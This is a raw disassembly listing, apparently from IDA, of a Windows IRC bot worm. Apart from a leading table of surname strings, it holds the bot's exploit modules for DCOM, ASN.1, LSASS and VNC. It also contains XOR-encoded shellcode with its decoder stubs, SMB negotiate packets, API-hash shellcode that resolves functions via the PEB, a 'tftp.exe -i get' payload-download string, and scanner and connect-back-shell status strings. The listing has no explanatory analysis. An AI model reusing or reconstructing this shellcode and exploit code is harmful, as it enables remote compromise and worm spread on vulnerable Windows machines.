aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB8o
		align 10h
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAB4o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAB0o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAACo
		align 10h
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA8o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DAA4o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DAA0o
		align 10h
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA9Co
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA98o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA94o
		align 10h
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA90o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA8Co
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA88o
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA84o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA80o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA7Co
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA78o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA74o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA70o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA6Co
		align 10h
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA68o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA64o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA60o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA5Co
		align 10h
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA58o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA54o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA50o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA4Co
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA48o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA44o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA40o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA3Co
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA38o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA34o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA30o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA2Co
		align 10h
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA28o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA24o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA20o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA1Co
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA18o
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA14o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA10o
		align 10h
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA0Co
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA08o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DA04o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DA00o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9FCo
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F8o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9F4o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9F0o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9ECo
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E8o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9E0o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9DCo
		align 10h
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D8o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9D4o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9D0o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9CCo
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C8o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9C4o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9C0o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9BCo
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B8o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9B4o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9B0o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9ACo
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A8o
		align 10h
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D9A4o
		align 4
byte_4315FC	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_431600	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_431604	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_43160C	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431610	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_431614	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431618	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_43161C	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431620	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_431624	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431628	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_43162C	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_431634	dd offset aMxSmxSmxSmxSmx+3 ; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 10h
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 10h
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_431664	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431668	dd 345053h		; DATA XREF: ___:0040B02Do
dword_43166C	dd 34h			; DATA XREF: ___:0040B021o
dword_431670	dd 335053h		; DATA XREF: ___:0040B014o
dword_431674	dd 33h			; DATA XREF: ___:0040B003o
dword_431678	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_43167C	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431680	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431680	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_431684	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431688	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_43168C	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431690:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_431694
; ---------------------------------------------------------------------------


loc_431692:				; CODE XREF: ___:loc_431694p
		jmp	short loc_431699
; ---------------------------------------------------------------------------


loc_431694:				; CODE XREF: ___:loc_431690j
		call	loc_431692


loc_431699:				; CODE XREF: ___:loc_431692j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43169E	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_4316A3	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A8:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316AC
; ---------------------------------------------------------------------------


loc_4316AA:				; CODE XREF: ___:loc_4316ACp
		jmp	short loc_4316B1
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:loc_4316A8j
		call	loc_4316AA


loc_4316B1:				; CODE XREF: ___:loc_4316AAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316B5	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B9	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316C0	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_431724	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_43173D	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_431744
		retn
; ---------------------------------------------------------------------------
byte_431744	db 0E8h			; CODE XREF: ___:00431741j
dword_431745	dd 1			; DATA XREF: sub_40B13C+45w
byte_431749	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_431753	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 10h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_431800	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_431804	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431808	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_43180C	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431810	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_431814	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 10h
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_4319E2	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A0E

; =============== S U B	R O U T	I N E =======================================



sub_4319FE	proc near		; CODE XREF: sub_4319FE:loc_431A0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431A06:				; CODE XREF: sub_4319FE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A06
		jmp	short loc_431A13
; ---------------------------------------------------------------------------


loc_431A0E:				; CODE XREF: ___:004319FCj
		call	sub_4319FE


loc_431A13:				; CODE XREF: sub_4319FE+Ej
		jo	short near ptr dword_43199C+12h
		cwde
		cdq
		cdq
		retn
sub_4319FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 10h
dword_431B90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B9C	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BBC	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C04	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C6C	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CA0	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431CD0	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431CF0	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D0C	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431D40	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D78	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_431DA8	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DDC	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431E10	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E44	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E6C	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EA4	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EE4	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F1C	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F50	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F84	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 4
dword_432038	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432040	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_432044	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_43204C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432104	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432110	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43215C	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4321A0	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43229C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322B2
		mov	[esi+8], eax
		call	sub_432265
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322B2
		mov	[esi+0Ch], eax
		call	sub_432217
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432217	proc near		; CODE XREF: sub_4321A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432240
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432240	proc near		; CODE XREF: sub_432217+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43224F:				; CODE XREF: sub_432240+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43225C
		inc	ebx
		jmp	short loc_43224F
; ---------------------------------------------------------------------------


loc_43225C:				; CODE XREF: sub_432240+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432240	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432265	proc near		; CODE XREF: sub_4321A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43227D:				; CODE XREF: sub_432265+1Ej
		cmp	[ecx], ebx
		jz	short loc_432285
		mov	ecx, [ecx]
		jmp	short loc_43227D
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_432265+1Aj
		mov	edx, edi


loc_432287:				; CODE XREF: sub_432265+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432291
		mov	edx, [edx+4]
		jmp	short loc_432287
; ---------------------------------------------------------------------------


loc_432291:				; CODE XREF: sub_432265+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432265	endp


; =============== S U B	R O U T	I N E =======================================



sub_43229C	proc near		; CODE XREF: sub_4321A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43229C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322B2	proc near		; CODE XREF: sub_4321A0+16p
					; sub_4321A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C8:				; CODE XREF: sub_4322B2+33j
		jecxz	short loc_432302
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322D5:				; CODE XREF: sub_4322B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322D5
; ---------------------------------------------------------------------------


loc_4322E1:				; CODE XREF: sub_4322B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432302:				; CODE XREF: sub_4322B2:loc_4322C8j
					; sub_4322B2:loc_432302j
		jmp	short loc_432302
sub_4322B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432308	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43235A
